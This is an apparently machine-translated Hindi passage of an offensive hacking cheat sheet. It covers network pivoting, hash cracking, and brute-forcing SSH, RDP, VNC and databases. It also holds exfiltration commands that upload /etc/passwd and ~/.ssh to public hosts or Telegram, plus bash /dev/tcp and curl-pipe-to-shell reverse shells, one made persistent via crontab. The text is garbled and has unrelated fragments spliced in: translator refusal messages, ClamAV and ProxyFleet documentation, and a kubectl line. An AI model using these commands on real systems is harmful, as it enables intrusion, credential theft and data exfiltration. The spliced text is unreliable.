cloudflared tunnel run --token TunnelTokenHere
I don't see any content to translate. The input section appears to be empty. Since I must only return the translated text and there is none, I will return an empty response.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
* docker run -v /path/to/aclog-directory-with-results:/usr/app/reports/converted/:Z ghcr.io/flexibleir/aclog convert --to-hunt```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
कोई अन्य प्रोटोकॉल रिवर्स प्रॉक्सी के माध्यम से टनल करने के लिए ProxyChains या GrafTCP का उपयोग करें।
3.iv. Socks Proxy के माध्यम से किसी भी टूल का उपयोग करें
टारगेट के नेटवर्क पर:```sh
gs-netcat -l -S
अपने वर्कस्टेशन पर:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### GrafTCP का उपयोग:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. अपना सार्वजनिक IP पता खोजें```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
किसी भी IP पते के बारे में जियोलोकेशन जानकारी प्राप्त करें:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
IP address द्वारा ASN जानकारी प्राप्त करें:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
जाँचें कि TOR काम कर रहा है:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. दुनिया भर से पहुँच (रिचैबिलिटी) जाँचें
https://ping.pe/ पर मौजूद बेहतरीन लोग आपको दुनिया भर से किसी होस्ट का ping/traceroute/mtr/dig/port-check करने, TCP पोर्ट जाँचने, डोमेन नाम हल (resolve) करने... और कई अन्य चीज़ें करने की सुविधा देते हैं।
यह जाँचने के लिए कि आपका (वर्तमान) होस्ट इंटरनेट तक कितनी अच्छी तरह पहुँच सकता है, OONI Probe का उपयोग करें:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. किसी IP पर खुले पोर्ट की जाँच/स्कैन करें**
[Censys](https://search.censys.io/) या [Shodan](https://internetdb.shodan.io) पोर्ट लुकअप सेवा:```shell
curl https://internetdb.shodan.io/1.1.1.1
तेज़ (-F) भेद्यता स्कैन```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
खुले TCP पोर्ट स्कैन करें:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(देखें Hackshell scan)
सरल bash पोर्ट-स्कैनर:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. पासवर्ड हैश क्रैक करें**
1. [NTLM2password](https://ntlm.pw/) NTLM पासवर्ड क्रैक (लुकअप) करने के लिए
2. [wpa-sec](https://wpa-sec.stanev.org) WPA PSK पासवर्ड क्रैक (लुकअप) करने के लिए
बाकी सबके लिए HashCat हमारा मुख्य टूल है:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
GPU पर 10-दिन 7-16 अक्षर हैशमास्क का उपयोग करते हुए:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
OpenSSH के `known_hosts` हैश को क्रैक करके IP पता प्रकट करें:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 FAQ पढ़ें।
ध्यान रखें कि $6$ हैश धीमे होते हैं। यहां तक कि 1-मिनट 7-16 अक्षर हैशमास्क को 8xRTX4090 क्लस्टर पर पूरा करने में कई दिन लग सकते हैं।
$0.40/घंटा में vast.ai पर RTX-4090 GPU-क्लस्टर किराए पर लें और dizcza/docker-hashcat:cuda का उपयोग करें (और पढ़ें)।
अन्यथा, Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis का उपयोग करें या अपने खुद के AWS इंस्टेंस पर क्रैक करें।
3.xi. ब्रूट फोर्स पासवर्ड / कुंजियाँ
निम्नलिखित ऑनलाइन सेवाओं के पासवर्ड ब्रूट फोर्स (अनुमान लगाने) करने के लिए है।
आप GMAIL खातों को ब्रूट फोर्स नहीं कर सकते।
GMAIL पर SMTP AUTH/LOGIN अक्षम है।
सभी GMail ब्रूट फोर्स और पासवर्ड क्रैकिंग उपकरण नकली हैं।
सभी उपकरण segfault पर पहले से इंस्टॉल हैं:```shell ssh [email protected] # password is 'segfault'
(आप अपना [खुद का EXIT node](https://www.thc.org/segfault/wireguard) उपयोग करना चाह सकते हैं)
उपकरण:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [दस्तावेज़](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - लक्ष्य IP रेंज पर सभी ssh कुंजियों को आज़माने के लिए बढ़िया।
यूज़रनेम और पासवर्ड सूचियाँ:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THC का पसंदीदा<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
**U**sername/**P**assword सूची और **T**arget होस्ट सेट करें।```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
उपयोगी Nmap पैरामीटर:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
उपयोगी **Ncrack** पैरामीटर:```shell
-U "${ULIST}"
-P "${PLIST}"
उपयोगी Hydra पैरामीटर:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
अंत में, सत्यापित करें कि वेबहुक काम कर रहा है और पूरी तरह से सेट अप हो गया है:
```shell
kubectl logs -n flux-system deployment/webhook-receiver
``````shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
I didn't receive any source text to translate — the input after INPUT: is empty. Please provide the chunk content so I can translate it into Hindi.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
<!-- No content provided for translation. -->```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Please provide the Markdown content to translate.```shell
nmap -p110,995 --script pop3-brute "$T"
* [Prometheus](#prometheus)
### Prometheus
clamonacc, clamd, और freshclam ने `clamav-unofficial-sigs` परियोजना के माध्यम से पहले से ही `clamav_prometheus` लक्ष्य का समर्थन किया था। हालाँकि, `Clamaviscious` परियोजना (जिसे [यहाँ](https://github.com/Valian/Clamaviscious) पाया जा सकता है) एक उत्कृष्ट Prometheus निर्यातक प्रदान करती है।
Prometheus मेट्रिक्स डिफ़ॉल्ट रूप से अलग-अलग ClamAV प्रक्रियाओं से निर्यात नहीं किए जाते हैं। ये मेट्रिक्स केवल तब उपलब्ध होते हैं जब एक्ज़ीक्यूटेबल `clamav-prometheus` फ्लेवर के साथ Docker में चल रहे हों। `clamav-prometheus` फ्लेवर चलाने से REST API सर्वर भी शुरू होता है जो Prometheus को स्क्रैप करने के लिए मेट्रिक्स को उजागर करता है। `clamav-prometheus` इमेज में `clamav_server` इमेज की सभी क्षमताएँ हैं, साथ ही मेट्रिक्स खींचने के लिए REST API भी है।
उपलब्ध मेट्रिक्स की एक तालिका देखने के लिए [ClamAV दस्तावेज़](https://docs.clamav.net/manual/Usage/Docker.html#prometheus-metrics) देखें, जिसमें निर्यात किए गए प्रत्येक मेट्रिक का विवरण भी है।
> :information_source: नोट: वर्तमान में DockerHub `clamav-prometheus` इमेज को ClamD शुरू करने के लिए `clamav_server` फ्लेवर की आवश्यकता होती है। यह एक सीमा के कारण है जिसे भविष्य की सुविधा रिलीज़ में हल किया जाएगा।```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
The input chunk is empty — no content was provided to translate. Please supply the source text for chunk 182.```shell
nmap -p5432 --script pgsql-brute "$T"
- **`--live`** - यह फ़्लैग `--force` के साथ अतिरिक्त रूप से प्रयोग किया जा सकता है ताकि दिए गए एंडपॉइंट पर सीधे जीवंतता जांच चलाई जा सके। दिए गए एंडपॉइंट का उपयोग HTTP अनुरोधों को चलाने और प्रतिक्रियाओं को एकत्र करने के लिए किया जाएगा ताकि यह विश्लेषण किया जा सके कि वे काम करते हैं या नहीं।
- **`--passive`** - **पैसिव स्रोतों का उपयोग करता है** (जैसे खोज इंजन और सार्वजनिक डेटाबेस) एंडपॉइंट प्राप्त करने के लिए, और फिर उनसे जुड़ता है। यह उपकरण कभी भी लक्ष्य से सीधे कनेक्ट नहीं होगा, बल्कि तीसरे पक्षों के माध्यम से लक्ष्य के बारे में जानकारी प्राप्त करेगा, प्रतिक्रियाओं, पृष्ठों और डेटा का विश्लेषण करके।
- **`--ecosystem`** - आपको एक इकोसिस्टम फ़ाइल/भेद्यता चेतावनी पृष्ठ के अंदर लक्ष्यों को स्कैन करने देता है। उदाहरण के लिए, आप npm के लिए [`package.json`](https://docs.npmjs.com/cli/v10/configuring-npm/package-json) या अपने प्रोजेक्ट में निर्भरता खोजने के लिए एक [`pom.xml`](https://maven.apache.org/pom.html#Introduction) फ़ाइल पास कर सकते हैं। आप एक dependabot या GitHub सलाहकार घटक पृष्ठ URL भी पास कर सकते हैं।
- **`-o, --output`** - **परिणामों को एक फ़ाइल में लिखता है**।
- **`-f, --format`** - यह फ़्लैग फ़ाइल के लिए आउटपुट स्वरूप निर्दिष्ट कर सकता है। `txt` स्वरूप के अतिरिक्त, `json`, `jsonl`, `csv`, `md` और एक आकर्षक `html` रिपोर्ट भी उपलब्ध है।
- **`--config`** - ProxyFleet कई सेटिंग्स के साथ आता है, जिन्हें [कॉन्फ़िगरेशन फ़ाइल](https://github.com/wealeson1/ProxyFleet/blob/main/README.md#configuration) में देखा जा सकता है। आप इस फ़्लैग का उपयोग ProxyFleet को एक कस्टम कॉन्फ़िगरेशन फ़ाइल (YAML प्रारूप में) पास करने के लिए कर सकते हैं। आप पर्यावरण चर का उपयोग करके किसी भी मान को सेट कर सकते हैं।
- **`--auth`** - स्कैन के लिए प्रमाणीकरण विकल्पों को कॉन्फ़िगर करता है। यह फ़्लैग आपको यह कॉन्फ़िगर करने की अनुमति देने के लिए डिज़ाइन किया गया है कि ProxyFleet को लक्ष्य एप्लिकेशन से कैसे प्रमाणित होना चाहिए (वर्तमान में केवल `raw` रणनीति का समर्थन करता है जो `'Cookie'` हेडर का उपयोग करती है)।
- **`--vault`** - (वैकल्पिक) - **ProjectDiscovery के क्लाउड प्लेटफ़ॉर्म** के साथ स्कैन को प्रमाणित करें ताकि अधिक पैसिव स्रोतों, अधिक API कुंजियों और दर सीमाओं से बचने तक पहुँच प्राप्त की जा सके।```shell
## SMB (windows)
nmap --script smb-brute "$T"
Please provide the Markdown content to translate.```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
I apologize, but I don't see any source content to translate. The input after "INPUT:" is empty. Please provide the actual Markdown content for chunk 188 of 494, and I'll translate it from English to Hindi according to your rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run
Chisel: HTTP पर तेज़ TCP/UDP टनल, SSH के माध्यम से सुरक्षित```shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
सबसे आसान: किसी Segfault Root Server पर exfil टाइप करें
या curl का उपयोग करें और अपना खुद का PHP exfil server चलाएँ।
लक्ष्य तक फ़ाइल स्थानांतरित करने की तरकीब जब लक्ष्य के पास इंटरनेट की पहुँच न हो: बाइनरी फ़ाइल को ASCII-text (base64) में बदलें और फिर कट एवं पेस्ट का उपयोग करें। (वैकल्पिक रूप से, उसी TCP कनेक्शन पर फ़ाइल स्थानांतरित करने के लिए gs-netcat के elite कंसोल में Ctrl-e c का उपयोग करें।)
अपने वर्कस्टेशन पर xclip का उपयोग करके एन्कोडेड डेटा को सीधे अपने क्लिपबोर्ड में पाइप करें:```shell
base64 -w0 </etc/issue.net | xclip
#### >>> UU एन्कोड/डिकोड```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl एन्कोड/डिकोड```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd encode/decode```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. फ़ाइल स्थानांतरण - कट और पेस्ट का उपयोग करके4b616c6920474e552f4c696e757820526f6c6c696e670a
रिमोट मशीन पर एक फ़ाइल में पेस्ट करें (टैब या $-चर के साथ गड़बड़ न करने के लिए <<-'__EOF__' पर ध्यान दें)।```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. फ़ाइल स्थानांतरण - *tmux* का उपयोग करते हुए
अपने वर्कस्टेशन पर `tmux` प्रारंभ करें। अपने लक्ष्य से किसी भी पसंदीदा माध्यम से जुड़ें (ssh, gs-netcat, ...)।
#### रिमोट से लोकल तक (डाउनलोड)
बड़ी फ़ाइलों को लक्ष्य से टर्मिनल के माध्यम से अपने वर्कस्टेशन पर डाउनलोड करने के लिए [Tmux-Logging](#tmux) का उपयोग करें।
#### लोकल से रिमोट तक (अपलोड)
रिमोट पर अपना पसंदीदा डिकोडिंग टूल (base64) प्रारंभ करें:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
अपने वर्कस्टेशन पर, और एक अलग टर्मिनल से, base64-एन्कोडेड डेटा भेजें। यह आपके REMOTE पर screen-xfer.txt में पहुंचेगा।```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. फ़ाइल स्थानांतरण - *screen* का उपयोग करना
#### रिमोट से लोकल में (डाउनलोड)
अपने लोकल कंप्यूटर पर एक *screen* चलाएँ और अपने शेल के भीतर से रिमोट सिस्टम में लॉग इन करें। अपनी लोकल screen को सभी आउटपुट screen-xfer.txt में लॉग करने के लिए निर्देश दें:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
हम अपने डेटा को एन्कोड करने के लिए *openssl* का उपयोग करते हैं लेकिन उपरोक्त कोई भी एन्कोडिंग विधि काम करती है। यह कमांड base64 एन्कोडेड डेटा को टर्मिनल में प्रदर्शित करेगा और *screen* इस डेटा को *screen-xfer.txt* में लिखेगा:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
अपनी स्थानीय स्क्रीन को आगे कोई डेटा लॉग करने से रोकें:
CTRL-a H
अपने स्थानीय कंप्यूटर पर फ़ाइल को डिकोड करें:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### LOCAL से REMOTE तक (अपलोड)
अपने स्थानीय सिस्टम पर डेटा एन्कोड करें:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
रिमोट सिस्टम पर (और वर्तमान screen के भीतर से):```sh openssl base64 -d
*screen* को बेस64 एन्कोडेड डेटा को अपने क्लिपबोर्ड में डालने दें और फिर डेटा को क्लिपबोर्ड से रिमोट सिस्टम पर पेस्ट करें:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
नोट: [openssl में बग](https://github.com/openssl/openssl/issues/9355) के कारण दो CTRL-d आवश्यक हैं।
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. फ़ाइल स्थानांतरण - gs-netcat और sftp का उपयोग करना
[gs-netcat](https://github.com/hackerschoice/gsocket) का उपयोग करें और sftp प्रोटोकॉल को इसके भीतर एनकैप्सुलेट करें। यह NAT/Firewall के पीछे मौजूद होस्ट्स तक पहुंच की अनुमति देता है।```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
अपने वर्कस्टेशन से SFTP सर्वर से कनेक्ट करने के लिए यह कमांड चलाएँ:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
या एक फ़ाइल को DUMP करने के लिए:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
प्रेषक/सर्वर पर:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
प्राप्तकर्ता: किसी भी ब्राउज़र से URL एक्सेस करके दूरस्थ फ़ाइल सिस्टम देखें/डाउनलोड करें।
#### 1 - PHP का उपयोग करके अपलोड करें:
प्राप्तकर्ता पर:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
प्रेषक पर:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - PYTHON का उपयोग करके अपलोड करें:
रिसीवर पर:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
प्रेषक की ओर:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. curl के बिना फ़ाइल डाउनलोड
Python का उपयोग करके, केवल डाउनलोड करें:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
उदाहरण: purl के साथ gsocket स्थापित करना```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
OpenSSL का उपयोग करके, केवल डाउनलोड करें:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
Perl का उपयोग करके, केवल डाउनलोड करें:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
bash का उपयोग करके, केवल डाउनलोड करें:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
अपने bash में कट और पेस्ट करें:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
फिर एक फ़ाइल या निर्देशिका अपलोड करें:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
हमारी पसंदीदा सार्वजनिक अपलोड साइटों की सूची।
बड़ी मात्रा में निर्देशिकाओं को सिंक्रनाइज़ करने या टूटे हुए स्थानांतरण को पुनः आरंभ करने के लिए आदर्श। यह उदाहरण 'warez' निर्देशिका को प्रेषक से प्राप्तकर्ता तक एकल TCP कनेक्शन का उपयोग करके स्थानांतरित करता है।
प्राप्तकर्ता:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
प्रेषक:```posh
rsync -av warez rsync://1.2.3.4:31337/up
वही एन्क्रिप्टेड (OpenSSL):
प्राप्तकर्ता:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
प्रेषक:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync को https / cloudflared रॉ TCP टनल के माध्यम से exfil करने के लिए जोड़ा जा सकता है।
(Windows से exfil करने के लिए, gsocket windows package से rsync.exe का उपयोग करें)। एक अधिक शोर वाला समाधान syncthing है।
प्रो टिप: आलसी हैकर्स segfault.net पर केवल exfil टाइप करते हैं।
रिसीवर पर (जैसे segfault.net) एक Cloudflare-Tunnel और WebDAV प्रारंभ करें:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
दूसरे सर्वर पर:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
फ़ाइल एक्सप्लोरर में Windows से शेयर एक्सेस करें (फ़ाइलों को खींचने और छोड़ने के लिए):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
या Windows पर WebDAV शेयर माउंट करें (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
अपलोड सेवाओं के असंख्य विकल्प हैं, लेकिन TG एक बढ़िया विकल्प है। TG BotFather से एक TG-Bot-Token प्राप्त करें। फिर एक नया TG ग्रुप बनाएँ और अपने बॉट को उस ग्रुप में जोड़ें। उस ग्रुप का chat_id प्राप्त करें:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
इनपुट:```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
टिप: https://www.revshells.com/ का उपयोग करें 👌
5.i.a. gs-netcat के साथ रिवर्स शेल (एन्क्रिप्टेड)
https://gsocket.io/deploy का उपयोग करके पूरी तरह से कार्यशील PTY रिवर्स शेल को तैनात और एक्सेस करने के लिए एक-लाइनर हेतु 6. बैकडोर देखें।
अपने सिस्टम पर पोर्ट 1524 पर सुनने के लिए netcat प्रारंभ करें:```sh nc -nvlp 1524
कनेक्शन के बाद, अपने शेल को पूर्ण रूप से इंटरैक्टिव PTY शेल में [अपग्रेड](#reverse-shell-interactive) करें। वैकल्पिक रूप से नेटकैट के बजाय [pwncat-cs](https://pwncat.org/) का उपयोग करें:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
दूरस्थ सिस्टम पर, यह कमांड आपके सिस्टम (IP = 3.13.3.7, पोर्ट 1524) से वापस कनेक्ट होगा और आपको एक शेल प्रॉम्प्ट देगा:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
वैकल्पिक रूप से, रिमोट सिस्टम पर, इसे `~/.profile` या crontab में डालें ताकि कनेक्ट-बैक शेल को पुनः प्रारंभ किया जा सके (और साथ ही कई इंस्टेंस शुरू होने से रोका जा सके):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. cURL के साथ रिवर्स शेल (एन्क्रिप्टेड)
curlshell का उपयोग करें। यह प्रॉक्सी के माध्यम से भी काम करता है और जब बाहरी दुनिया के लिए सीधा TCP कनेक्शन निषिद्ध होता है:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d cURL के साथ रिवर्स शेल (स्पष्ट पाठ)
एकाधिक कनेक्शन सुनने के लिए ncat प्रारंभ करें:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. OpenSSL के साथ रिवर्स शेल (एन्क्रिप्टेड)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
## श्रेय और आभार```sh
# On the target, start an openssl reverse shell as background process:
